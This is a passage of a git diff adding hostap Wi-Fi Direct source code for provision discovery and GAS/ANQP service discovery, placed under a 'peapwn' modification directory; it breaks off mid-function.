+ struct wpabuf *buf; + u8 *len; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_prov_disc_req) + extra = wpabuf_len(p2p->wfd_ie_prov_disc_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_PROV_DISC_REQ, dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_capability(buf, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, 0); + p2p_buf_add_device_info(buf, p2p, NULL); + if (go) { + p2p_buf_add_group_id(buf, go->info.p2p_device_addr, + go->oper_ssid, go->oper_ssid_len); + } + p2p_buf_update_ie_hdr(buf, len); + + /* WPS IE with Config Methods attribute */ + p2p_build_wps_ie_config_methods(buf, config_methods); + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_prov_disc_req) + wpabuf_put_buf(buf, p2p->wfd_ie_prov_disc_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +static struct wpabuf * p2p_build_prov_disc_resp(struct p2p_data *p2p, + u8 dialog_token, + u16 config_methods, + const u8 *group_id, + size_t group_id_len) +{ + struct wpabuf *buf; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + struct wpabuf *wfd_ie = p2p->wfd_ie_prov_disc_resp; + if (wfd_ie && group_id) { + size_t i; + for (i = 0; i < p2p->num_groups; i++) { + struct p2p_group *g = p2p->groups[i]; + struct wpabuf *ie; + if (!p2p_group_is_group_id_match(g, group_id, + group_id_len)) + continue; + ie = p2p_group_get_wfd_ie(g); + if (ie) { + wfd_ie = ie; + break; + } + } + } + if (wfd_ie) + extra = wpabuf_len(wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(100 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_PROV_DISC_RESP, dialog_token); + + /* WPS IE with Config Methods attribute */ + p2p_build_wps_ie_config_methods(buf, config_methods); + +#ifdef CONFIG_WIFI_DISPLAY + if (wfd_ie) + wpabuf_put_buf(buf, wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +void p2p_process_prov_disc_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct p2p_message msg; + struct p2p_device *dev; + int freq; + int reject = 1; + struct wpabuf *resp; + + if (p2p_parse(data, len, &msg)) + return; + + p2p_dbg(p2p, "Received Provision Discovery Request from " MACSTR + " with config methods 0x%x (freq=%d)", + MAC2STR(sa), msg.wps_config_methods, rx_freq); + + dev = p2p_get_device(p2p, sa); + if (dev == NULL || (dev->flags & P2P_DEV_PROBE_REQ_ONLY)) { + p2p_dbg(p2p, "Provision Discovery Request from unknown peer " + MACSTR, MAC2STR(sa)); + + if (p2p_add_device(p2p, sa, rx_freq, NULL, 0, data + 1, len - 1, + 0)) { + p2p_dbg(p2p, "Provision Discovery Request add device failed " + MACSTR, MAC2STR(sa)); + } + } else if (msg.wfd_subelems) { + wpabuf_free(dev->info.wfd_subelems); + dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems); + } + + if (!(msg.wps_config_methods & + (WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD | + WPS_CONFIG_PUSHBUTTON))) { + p2p_dbg(p2p, "Unsupported Config Methods in Provision Discovery Request"); + goto out; + } + + if (msg.group_id) { + size_t i; + for (i = 0; i < p2p->num_groups; i++) { + if (p2p_group_is_group_id_match(p2p->groups[i], + msg.group_id, + msg.group_id_len)) + break; + } + if (i == p2p->num_groups) { + p2p_dbg(p2p, "PD request for unknown P2P Group ID - reject"); + goto out; + } + } + + if (dev) + dev->flags &= ~(P2P_DEV_PD_PEER_DISPLAY | + P2P_DEV_PD_PEER_KEYPAD); + if (msg.wps_config_methods & WPS_CONFIG_DISPLAY) { + p2p_dbg(p2p, "Peer " MACSTR + " requested us to show a PIN on display", MAC2STR(sa)); + if (dev) + dev->flags |= P2P_DEV_PD_PEER_KEYPAD; + } else if (msg.wps_config_methods & WPS_CONFIG_KEYPAD) { + p2p_dbg(p2p, "Peer " MACSTR + " requested us to write its PIN using keypad", + MAC2STR(sa)); + if (dev) + dev->flags |= P2P_DEV_PD_PEER_DISPLAY; + } + + reject = 0; + +out: + resp = p2p_build_prov_disc_resp(p2p, msg.dialog_token, + reject ? 0 : msg.wps_config_methods, + msg.group_id, msg.group_id_len); + if (resp == NULL) { + p2p_parse_free(&msg); + return; + } + p2p_dbg(p2p, "Sending Provision Discovery Response"); + if (rx_freq > 0) + freq = rx_freq; + else + freq = p2p_channel_to_freq(p2p->cfg->reg_class, + p2p->cfg->channel); + if (freq < 0) { + p2p_dbg(p2p, "Unknown regulatory class/channel"); + wpabuf_free(resp); + p2p_parse_free(&msg); + return; + } + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, freq, sa, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + + wpabuf_free(resp); + + if (!reject && p2p->cfg->prov_disc_req) { + const u8 *dev_addr = sa; + if (msg.p2p_device_addr) + dev_addr = msg.p2p_device_addr; + p2p->cfg->prov_disc_req(p2p->cfg->cb_ctx, sa, + msg.wps_config_methods, + dev_addr, msg.pri_dev_type, + msg.device_name, msg.config_methods, + msg.capability ? msg.capability[0] : 0, + msg.capability ? msg.capability[1] : + 0, + msg.group_id, msg.group_id_len); + } + p2p_parse_free(&msg); +} + + +void p2p_process_prov_disc_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len) +{ + struct p2p_message msg; + struct p2p_device *dev; + u16 report_config_methods = 0, req_config_methods; + int success = 0; + + if (p2p_parse(data, len, &msg)) + return; + + p2p_dbg(p2p, "Received Provision Discovery Response from " MACSTR + " with config methods 0x%x", + MAC2STR(sa), msg.wps_config_methods); + + dev = p2p_get_device(p2p, sa); + if (dev == NULL || !dev->req_config_methods) { + p2p_dbg(p2p, "Ignore Provision Discovery Response from " MACSTR + " with no pending request", MAC2STR(sa)); + p2p_parse_free(&msg); + return; + } + + if (dev->dialog_token != msg.dialog_token) { + p2p_dbg(p2p, "Ignore Provision Discovery Response with unexpected Dialog Token %u (expected %u)", + msg.dialog_token, dev->dialog_token); + p2p_parse_free(&msg); + return; + } + + if (p2p->pending_action_state == P2P_PENDING_PD) { + os_memset(p2p->pending_pd_devaddr, 0, ETH_ALEN); + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + } + + /* + * Use a local copy of the requested config methods since + * p2p_reset_pending_pd() can clear this in the peer entry. + */ + req_config_methods = dev->req_config_methods; + + /* + * If the response is from the peer to whom a user initiated request + * was sent earlier, we reset that state info here. + */ + if (p2p->user_initiated_pd && + os_memcmp(p2p->pending_pd_devaddr, sa, ETH_ALEN) == 0) + p2p_reset_pending_pd(p2p); + + if (msg.wps_config_methods != req_config_methods) { + p2p_dbg(p2p, "Peer rejected our Provision Discovery Request (received config_methods 0x%x expected 0x%x", + msg.wps_config_methods, req_config_methods); + if (p2p->cfg->prov_disc_fail) + p2p->cfg->prov_disc_fail(p2p->cfg->cb_ctx, sa, + P2P_PROV_DISC_REJECTED); + p2p_parse_free(&msg); + goto out; + } + + report_config_methods = req_config_methods; + dev->flags &= ~(P2P_DEV_PD_PEER_DISPLAY | + P2P_DEV_PD_PEER_KEYPAD); + if (req_config_methods & WPS_CONFIG_DISPLAY) { + p2p_dbg(p2p, "Peer " MACSTR + " accepted to show a PIN on display", MAC2STR(sa)); + dev->flags |= P2P_DEV_PD_PEER_DISPLAY; + } else if (msg.wps_config_methods & WPS_CONFIG_KEYPAD) { + p2p_dbg(p2p, "Peer " MACSTR + " accepted to write our PIN using keypad", + MAC2STR(sa)); + dev->flags |= P2P_DEV_PD_PEER_KEYPAD; + } + + /* Store the provisioning info */ + dev->wps_prov_info = msg.wps_config_methods; + + p2p_parse_free(&msg); + success = 1; + +out: + dev->req_config_methods = 0; + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + if (dev->flags & P2P_DEV_PD_BEFORE_GO_NEG) { + p2p_dbg(p2p, "Start GO Neg after the PD-before-GO-Neg workaround with " + MACSTR, MAC2STR(dev->info.p2p_device_addr)); + dev->flags &= ~P2P_DEV_PD_BEFORE_GO_NEG; + p2p_connect_send(p2p, dev); + return; + } + if (success && p2p->cfg->prov_disc_resp) + p2p->cfg->prov_disc_resp(p2p->cfg->cb_ctx, sa, + report_config_methods); + + if (p2p->state == P2P_PD_DURING_FIND) { + p2p_clear_timeout(p2p); + p2p_continue_find(p2p); + } +} + + +int p2p_send_prov_disc_req(struct p2p_data *p2p, struct p2p_device *dev, + int join, int force_freq) +{ + struct wpabuf *req; + int freq; + + if (force_freq > 0) + freq = force_freq; + else + freq = dev->listen_freq > 0 ? dev->listen_freq : + dev->oper_freq; + if (freq <= 0) { + p2p_dbg(p2p, "No Listen/Operating frequency known for the peer " + MACSTR " to send Provision Discovery Request", + MAC2STR(dev->info.p2p_device_addr)); + return -1; + } + + if (dev->flags & P2P_DEV_GROUP_CLIENT_ONLY) { + if (!(dev->info.dev_capab & + P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY)) { + p2p_dbg(p2p, "Cannot use PD with P2P Device " MACSTR + " that is in a group and is not discoverable", + MAC2STR(dev->info.p2p_device_addr)); + return -1; + } + /* TODO: use device discoverability request through GO */ + } + + req = p2p_build_prov_disc_req(p2p, dev->dialog_token, + dev->req_config_methods, + join ? dev : NULL); + if (req == NULL) + return -1; + + if (p2p->state != P2P_IDLE) + p2p_stop_listen_for_freq(p2p, freq); + p2p->pending_action_state = P2P_PENDING_PD; + if (p2p_send_action(p2p, freq, dev->info.p2p_device_addr, + p2p->cfg->dev_addr, dev->info.p2p_device_addr, + wpabuf_head(req), wpabuf_len(req), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + wpabuf_free(req); + return -1; + } + + os_memcpy(p2p->pending_pd_devaddr, dev->info.p2p_device_addr, ETH_ALEN); + + wpabuf_free(req); + return 0; +} + + +int p2p_prov_disc_req(struct p2p_data *p2p, const u8 *peer_addr, + u16 config_methods, int join, int force_freq, + int user_initiated_pd) +{ + struct p2p_device *dev; + + dev = p2p_get_device(p2p, peer_addr); + if (dev == NULL) + dev = p2p_get_device_interface(p2p, peer_addr); + if (dev == NULL || (dev->flags & P2P_DEV_PROBE_REQ_ONLY)) { + p2p_dbg(p2p, "Provision Discovery Request destination " MACSTR + " not yet known", MAC2STR(peer_addr)); + return -1; + } + + p2p_dbg(p2p, "Provision Discovery Request with " MACSTR + " (config methods 0x%x)", + MAC2STR(peer_addr), config_methods); + if (config_methods == 0) + return -1; + + /* Reset provisioning info */ + dev->wps_prov_info = 0; + + dev->req_config_methods = config_methods; + if (join) + dev->flags |= P2P_DEV_PD_FOR_JOIN; + else + dev->flags &= ~P2P_DEV_PD_FOR_JOIN; + + if (p2p->state != P2P_IDLE && p2p->state != P2P_SEARCH && + p2p->state != P2P_LISTEN_ONLY) { + p2p_dbg(p2p, "Busy with other operations; postpone Provision Discovery Request with " + MACSTR " (config methods 0x%x)", + MAC2STR(peer_addr), config_methods); + return 0; + } + + p2p->user_initiated_pd = user_initiated_pd; + p2p->pd_force_freq = force_freq; + + if (p2p->user_initiated_pd) + p2p->pd_retries = MAX_PROV_DISC_REQ_RETRIES; + + /* + * Assign dialog token here to use the same value in each retry within + * the same PD exchange. + */ + dev->dialog_token++; + if (dev->dialog_token == 0) + dev->dialog_token = 1; + + return p2p_send_prov_disc_req(p2p, dev, join, force_freq); +} + + +void p2p_reset_pending_pd(struct p2p_data *p2p) +{ + struct p2p_device *dev; + + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(p2p->pending_pd_devaddr, + dev->info.p2p_device_addr, ETH_ALEN)) + continue; + if (!dev->req_config_methods) + continue; + if (dev->flags & P2P_DEV_PD_FOR_JOIN) + continue; + /* Reset the config methods of the device */ + dev->req_config_methods = 0; + } + + p2p->user_initiated_pd = 0; + os_memset(p2p->pending_pd_devaddr, 0, ETH_ALEN); + p2p->pd_retries = 0; + p2p->pd_force_freq = 0; +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_sd.c b/peapwn/mods/hostap/src/p2p/p2p_sd.c new file mode 100644 index 000000000..0e0c7f121 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_sd.c @@ -0,0 +1,879 @@ +/* + * Wi-Fi Direct - P2P service discovery + * Copyright (c) 2009, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "common/gas.h" +#include "p2p_i.h" +#include "p2p.h" + + +#ifdef CONFIG_WIFI_DISPLAY +static int wfd_wsd_supported(struct wpabuf *wfd) +{ + const u8 *pos, *end; + u8 subelem; + u16 len; + + if (wfd == NULL) + return 0; + + pos = wpabuf_head(wfd); + end = pos + wpabuf_len(wfd); + + while (pos + 3 <= end) { + subelem = *pos++; + len = WPA_GET_BE16(pos); + pos += 2; + if (pos + len > end) + break; + + if (subelem == WFD_SUBELEM_DEVICE_INFO && len >= 6) { + u16 info = WPA_GET_BE16(pos); + return !!(info & 0x0040); + } + + pos += len; + } + + return 0; +} +#endif /* CONFIG_WIFI_DISPLAY */ + +struct p2p_sd_query * p2p_pending_sd_req(struct p2p_data *p2p, + struct p2p_device *dev) +{ + struct p2p_sd_query *q; + int wsd = 0; + + if (!(dev->info.dev_capab & P2P_DEV_CAPAB_SERVICE_DISCOVERY)) + return NULL; /* peer does not support SD */ +#ifdef CONFIG_WIFI_DISPLAY + if (wfd_wsd_supported(dev->info.wfd_subelems)) + wsd = 1; +#endif /* CONFIG_WIFI_DISPLAY */ + + for (q = p2p->sd_queries; q; q = q->next) { + /* Use WSD only if the peer indicates support or it */ + if (q->wsd && !wsd) + continue; + if (q->for_all_peers && !(dev->flags & P2P_DEV_SD_INFO)) + return q; + if (!q->for_all_peers && + os_memcmp(q->peer, dev->info.p2p_device_addr, ETH_ALEN) == + 0) + return q; + } + + return NULL; +} + + +static int p2p_unlink_sd_query(struct p2p_data *p2p, + struct p2p_sd_query *query) +{ + struct p2p_sd_query *q, *prev; + q = p2p->sd_queries; + prev = NULL; + while (q) { + if (q == query) { + if (prev) + prev->next = q->next; + else + p2p->sd_queries = q->next; + if (p2p->sd_query == query) + p2p->sd_query = NULL; + return 1; + } + prev = q; + q = q->next; + } + return 0; +} + + +static void p2p_free_sd_query(struct p2p_sd_query *q) +{ + if (q == NULL) + return; + wpabuf_free(q->tlvs); + os_free(q); +} + + +void p2p_free_sd_queries(struct p2p_data *p2p) +{ + struct p2p_sd_query *q, *prev; + q = p2p->sd_queries; + p2p->sd_queries = NULL; + while (q) { + prev = q; + q = q->next; + p2p_free_sd_query(prev); + } +} + + +static struct wpabuf * p2p_build_sd_query(u16 update_indic, + struct wpabuf *tlvs) +{ + struct wpabuf *buf; + u8 *len_pos; + + buf = gas_anqp_build_initial_req(0, 100 + wpabuf_len(tlvs)); + if (buf == NULL) + return NULL; + + /* ANQP Query Request Frame */ + len_pos = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + wpabuf_put_le16(buf, update_indic); /* Service Update Indicator */ + wpabuf_put_buf(buf, tlvs); + gas_anqp_set_element_len(buf, len_pos); + + gas_anqp_set_len(buf); + + return buf; +} + + +static void p2p_send_gas_comeback_req(struct p2p_data *p2p, const u8 *dst, + u8 dialog_token, int freq) +{ + struct wpabuf *req; + + req = gas_build_comeback_req(dialog_token); + if (req == NULL) + return; + + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, freq, dst, p2p->cfg->dev_addr, dst, + wpabuf_head(req), wpabuf_len(req), 200) < 0) + p2p_dbg(p2p, "Failed to send Action frame"); + + wpabuf_free(req); +} + + +static struct wpabuf * p2p_build_sd_response(u8 dialog_token, u16 status_code, + u16 comeback_delay, + u16 update_indic, + const struct wpabuf *tlvs) +{ + struct wpabuf *buf; + u8 *len_pos; + + buf = gas_anqp_build_initial_resp(dialog_token, status_code, + comeback_delay, + 100 + (tlvs ? wpabuf_len(tlvs) : 0)); + if (buf == NULL) + return NULL; + + if (tlvs) { + /* ANQP Query Response Frame */ + len_pos = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + /* Service Update Indicator */ + wpabuf_put_le16(buf, update_indic); + wpabuf_put_buf(buf, tlvs); + gas_anqp_set_element_len(buf, len_pos); + } + + gas_anqp_set_len(buf); + + return buf; +} + + +static struct wpabuf * p2p_build_gas_comeback_resp(u8 dialog_token, + u16 status_code, + u16 update_indic, + const u8 *data, size_t len, + u8 frag_id, u8 more, + u16 total_len) +{ + struct wpabuf *buf; + + buf = gas_anqp_build_comeback_resp(dialog_token, status_code, frag_id, + more, 0, 100 + len); + if (buf == NULL) + return NULL; + + if (frag_id == 0) { + /* ANQP Query Response Frame */ + wpabuf_put_le16(buf, ANQP_VENDOR_SPECIFIC); /* Info ID */ + wpabuf_put_le16(buf, 3 + 1 + 2 + total_len); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, P2P_OUI_TYPE); + /* Service Update Indicator */ + wpabuf_put_le16(buf, update_indic); + } + + wpabuf_put_data(buf, data, len); + gas_anqp_set_len(buf); + + return buf; +} + + +int p2p_start_sd(struct p2p_data *p2p, struct p2p_device *dev) +{ + struct wpabuf *req; + int ret = 0; + struct p2p_sd_query *query; + int freq; + + freq = dev->listen_freq > 0 ? dev->listen_freq : dev->oper_freq; + if (freq <= 0) { + p2p_dbg(p2p, "No Listen/Operating frequency known for the peer " + MACSTR " to send SD Request", + MAC2STR(dev->info.p2p_device_addr)); + return -1; + } + + query = p2p_pending_sd_req(p2p, dev); + if (query == NULL) + return -1; + + p2p_dbg(p2p, "Start Service Discovery with " MACSTR, + MAC2STR(dev->info.p2p_device_addr)); + + req = p2p_build_sd_query(p2p->srv_update_indic, query->tlvs); + if (req == NULL) + return -1; + + p2p->sd_peer = dev; + p2p->sd_query = query; + p2p->pending_action_state = P2P_PENDING_SD; + + if (p2p_send_action(p2p, freq, dev->info.p2p_device_addr, + p2p->cfg->dev_addr, dev->info.p2p_device_addr, + wpabuf_head(req), wpabuf_len(req), 5000) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + ret = -1; + } + + wpabuf_free(req); + + return ret; +} + + +void p2p_rx_gas_initial_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + const u8 *pos = data; + const u8 *end = data + len; + const u8 *next; + u8 dialog_token; + u16 slen; + int freq; + u16 update_indic; + + + if (p2p->cfg->sd_request == NULL) + return; + + if (rx_freq > 0) + freq = rx_freq; + else + freq = p2p_channel_to_freq(p2p->cfg->reg_class, + p2p->cfg->channel); + if (freq < 0) + return; + + if (len < 1 + 2) + return; + + dialog_token = *pos++; + p2p_dbg(p2p, "GAS Initial Request from " MACSTR + " (dialog token %u, freq %d)", + MAC2STR(sa), dialog_token, rx_freq); + + if (*pos != WLAN_EID_ADV_PROTO) { + p2p_dbg(p2p, "Unexpected IE in GAS Initial Request: %u", *pos); + return; + } + pos++; + + slen = *pos++; + next = pos + slen; + if (next > end || slen < 2) { + p2p_dbg(p2p, "Invalid IE in GAS Initial Request"); + return; + } + pos++; /* skip QueryRespLenLimit and PAME-BI */ + + if (*pos != ACCESS_NETWORK_QUERY_PROTOCOL) { + p2p_dbg(p2p, "Unsupported GAS advertisement protocol id %u", + *pos); + return; + } + + pos = next; + /* Query Request */ + if (pos + 2 > end) + return; + slen = WPA_GET_LE16(pos); + pos += 2; + if (pos + slen > end) + return; + end = pos + slen; + + /* ANQP Query Request */ + if (pos + 4 > end) + return; + if (WPA_GET_LE16(pos) != ANQP_VENDOR_SPECIFIC) { + p2p_dbg(p2p, "Unsupported ANQP Info ID %u", WPA_GET_LE16(pos)); + return; + } + pos += 2; + + slen = WPA_GET_LE16(pos); + pos += 2; + if (pos + slen > end || slen < 3 + 1) { + p2p_dbg(p2p, "Invalid ANQP Query Request length"); + return; + } + + if (WPA_GET_BE24(pos) != OUI_WFA) { + p2p_dbg(p2p, "Unsupported ANQP OUI %06x", WPA_GET_BE24(pos)); + return; + } + pos += 3; + + if (*pos != P2P_OUI_TYPE) { + p2p_dbg(p2p, "Unsupported ANQP vendor type %u", *pos); + return; + } + pos++; + + if (pos + 2 > end) + return; + update_indic = WPA_GET_LE16(pos); + p2p_dbg(p2p, "Service Update Indicator: %u", update_indic); + pos += 2; + + p2p->cfg->sd_request(p2p->cfg->cb_ctx, freq, sa, dialog_token, + update_indic, pos, end - pos); + /* the response will be indicated with a call to p2p_sd_response() */ +} + + +void p2p_sd_response(struct p2p_data *p2p, int freq, const u8 *dst, + u8 dialog_token, const struct wpabuf *resp_tlvs) +{ + struct wpabuf *resp; + + /* TODO: fix the length limit to match with the maximum frame length */ + if (wpabuf_len(resp_tlvs) > 1400) { + p2p_dbg(p2p, "SD response long enough to require fragmentation"); + if (p2p->sd_resp) { + /* + * TODO: Could consider storing the fragmented response + * separately for each peer to avoid having to drop old + * one if there is more than one pending SD query. + * Though, that would eat more memory, so there are + * also benefits to just using a single buffer. + */ + p2p_dbg(p2p, "Drop previous SD response"); + wpabuf_free(p2p->sd_resp); + } + p2p->sd_resp = wpabuf_dup(resp_tlvs); + if (p2p->sd_resp == NULL) { + p2p_err(p2p, "Failed to allocate SD response fragmentation area"); + return; + } + os_memcpy(p2p->sd_resp_addr, dst, ETH_ALEN); + p2p->sd_resp_dialog_token = dialog_token; + p2p->sd_resp_pos = 0; + p2p->sd_frag_id = 0; + resp = p2p_build_sd_response(dialog_token, WLAN_STATUS_SUCCESS, + 1, p2p->srv_update_indic, NULL); + } else { + p2p_dbg(p2p, "SD response fits in initial response"); + resp = p2p_build_sd_response(dialog_token, + WLAN_STATUS_SUCCESS, 0, + p2p->srv_update_indic, resp_tlvs); + } + if (resp == NULL) + return; + + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, freq, dst, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) + p2p_dbg(p2p, "Failed to send Action frame"); + + wpabuf_free(resp); +} + + +void p2p_rx_gas_initial_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + const u8 *pos = data; + const u8 *end = data + len; + const u8 *next; + u8 dialog_token; + u16 status_code; + u16 comeback_delay; + u16 slen; + u16 update_indic; + + if (p2p->state != P2P_SD_DURING_FIND || p2p->sd_peer == NULL || + os_memcmp(sa, p2p->sd_peer->info.p2p_device_addr, ETH_ALEN) != 0) { + p2p_dbg(p2p, "Ignore unexpected GAS Initial Response from " + MACSTR, MAC2STR(sa)); + return; + } + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_clear_timeout(p2p); + + p2p_dbg(p2p, "Received GAS Initial Response from " MACSTR " (len=%d)", + MAC2STR(sa), (int) len); + + if (len < 5 + 2) { + p2p_dbg(p2p, "Too short GAS Initial Response frame"); + return; + } + + dialog_token = *pos++; + /* TODO: check dialog_token match */ + status_code = WPA_GET_LE16(pos); + pos += 2; + comeback_delay = WPA_GET_LE16(pos); + pos += 2; + p2p_dbg(p2p, "dialog_token=%u status_code=%u comeback_delay=%u", + dialog_token, status_code, comeback_delay); + if (status_code) { + p2p_dbg(p2p, "Service Discovery failed: status code %u", + status_code); + return; + } + + if (*pos != WLAN_EID_ADV_PROTO) { + p2p_dbg(p2p, "Unexpected IE in GAS Initial Response: %u", *pos); + return; + } + pos++; + + slen = *pos++; + next = pos + slen; + if (next > end || slen < 2) { + p2p_dbg(p2p, "Invalid IE in GAS Initial Response"); + return; + } + pos++; /* skip QueryRespLenLimit and PAME-BI */ + + if (*pos != ACCESS_NETWORK_QUERY_PROTOCOL) { + p2p_dbg(p2p, "Unsupported GAS advertisement protocol id %u", + *pos); + return; + } + + pos = next; + /* Query Response */ + if (pos + 2 > end) { + p2p_dbg(p2p, "Too short Query Response"); + return; + } + slen = WPA_GET_LE16(pos); + pos += 2; + p2p_dbg(p2p, "Query Response Length: %d", slen); + if (pos + slen > end) { + p2p_dbg(p2p, "Not enough Query Response data"); + return; + } + end = pos + slen; + + if (comeback_delay) { + p2p_dbg(p2p, "Fragmented response - request fragments"); + if (p2p->sd_rx_resp) { + p2p_dbg(p2p, "Drop old SD reassembly buffer"); + wpabuf_free(p2p->sd_rx_resp); + p2p->sd_rx_resp = NULL; + } + p2p_send_gas_comeback_req(p2p, sa, dialog_token, rx_freq); + return; + } + + /* ANQP Query Response */ + if (pos + 4 > end) + return; + if (WPA_GET_LE16(pos) != ANQP_VENDOR_SPECIFIC) { + p2p_dbg(p2p, "Unsupported ANQP Info ID %u", WPA_GET_LE16(pos)); + return; + } + pos += 2; + + slen = WPA_GET_LE16(pos); + pos += 2; + if (pos + slen > end || slen < 3 + 1) { + p2p_dbg(p2p, "Invalid ANQP Query Response length"); + return; + } + + if (WPA_GET_BE24(pos) != OUI_WFA) { + p2p_dbg(p2p, "Unsupported ANQP OUI %06x", WPA_GET_BE24(pos)); + return; + } + pos += 3; + + if (*pos != P2P_OUI_TYPE) { + p2p_dbg(p2p, "Unsupported ANQP vendor type %u", *pos); + return; + } + pos++; + + if (pos + 2 > end) + return; + update_indic = WPA_GET_LE16(pos); + p2p_dbg(p2p, "Service Update Indicator: %u", update_indic); + pos += 2; + + p2p->sd_peer->flags |= P2P_DEV_SD_INFO; + p2p->sd_peer->flags &= ~P2P_DEV_SD_SCHEDULE; + p2p->sd_peer = NULL; + + if (p2p->sd_query) { + if (!p2p->sd_query->for_all_peers) { + struct p2p_sd_query *q; + p2p_dbg(p2p, "Remove completed SD query %p", + p2p->sd_query); + q = p2p->sd_query; + p2p_unlink_sd_query(p2p, p2p->sd_query); + p2p_free_sd_query(q); + } + p2p->sd_query = NULL; + } + + if (p2p->cfg->sd_response) + p2p->cfg->sd_response(p2p->cfg->cb_ctx, sa, update_indic, + pos, end - pos); + p2p_continue_find(p2p); +} + + +void p2p_rx_gas_comeback_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct wpabuf *resp; + u8 dialog_token; + size_t frag_len; + int more = 0; + + wpa_hexdump(MSG_DEBUG, "P2P: RX GAS Comeback Request", data, len); + if (len < 1) + return; + dialog_token = *data; + p2p_dbg(p2p, "Dialog Token: %u", dialog_token); + if (dialog_token != p2p->sd_resp_dialog_token) { + p2p_dbg(p2p, "No pending SD response fragment for dialog token %u", + dialog_token); + return; + } + + if (p2p->sd_resp == NULL) { + p2p_dbg(p2p, "No pending SD response fragment available"); + return; + } + if (os_memcmp(sa, p2p->sd_resp_addr, ETH_ALEN) != 0) { + p2p_dbg(p2p, "No pending SD response fragment for " MACSTR, + MAC2STR(sa)); + return; + } + + frag_len = wpabuf_len(p2p->sd_resp) - p2p->sd_resp_pos; + if (frag_len > 1400) { + frag_len = 1400; + more = 1; + } + resp = p2p_build_gas_comeback_resp(dialog_token, WLAN_STATUS_SUCCESS, + p2p->srv_update_indic, + wpabuf_head_u8(p2p->sd_resp) + + p2p->sd_resp_pos, frag_len, + p2p->sd_frag_id, more, + wpabuf_len(p2p->sd_resp)); + if (resp == NULL) + return; + p2p_dbg(p2p, "Send GAS Comeback Response (frag_id %d more=%d frag_len=%d)", + p2p->sd_frag_id, more, (int) frag_len); + p2p->sd_frag_id++; + p2p->sd_resp_pos += frag_len; + + if (more) { + p2p_dbg(p2p, "%d more bytes remain to be sent", + (int) (wpabuf_len(p2p->sd_resp) - p2p->sd_resp_pos)); + } else { + p2p_dbg(p2p, "All fragments of SD response sent"); + wpabuf_free(p2p->sd_resp); + p2p->sd_resp = NULL; + } + + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, rx_freq, sa, p2p->cfg->dev_addr, + p2p->cfg->dev_addr, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) + p2p_dbg(p2p, "Failed to send Action frame"); + + wpabuf_free(resp); +} + + +void p2p_rx_gas_comeback_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + const u8 *pos = data; + const u8 *end = data + len; + const u8 *next; + u8 dialog_token; + u16 status_code; + u8 frag_id; + u8 more_frags; + u16 comeback_delay; + u16 slen; + + wpa_hexdump(MSG_DEBUG, "P2P: RX GAS Comeback Response", data, len); + + if (p2p->state != P2P_SD_DURING_FIND || p2p->sd_peer == NULL || + os_memcmp(sa, p2p->sd_peer->info.p2p_device_addr, ETH_ALEN) != 0) { + p2p_dbg(p2p, "Ignore unexpected GAS Comeback Response from " + MACSTR, MAC2STR(sa)); + return; + } + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_clear_timeout(p2p); + + p2p_dbg(p2p, "Received GAS Comeback Response from " MACSTR " (len=%d)", + MAC2STR(sa), (int) len); + + if (len < 6 + 2) { + p2p_dbg(p2p, "Too short GAS Comeback Response frame"); + return; + } + + dialog_token = *pos++; + /* TODO: check dialog_token match */ + status_code = WPA_GET_LE16(pos); + pos += 2; + frag_id = *pos & 0x7f; + more_frags = (*pos & 0x80) >> 7; + pos++; + comeback_delay = 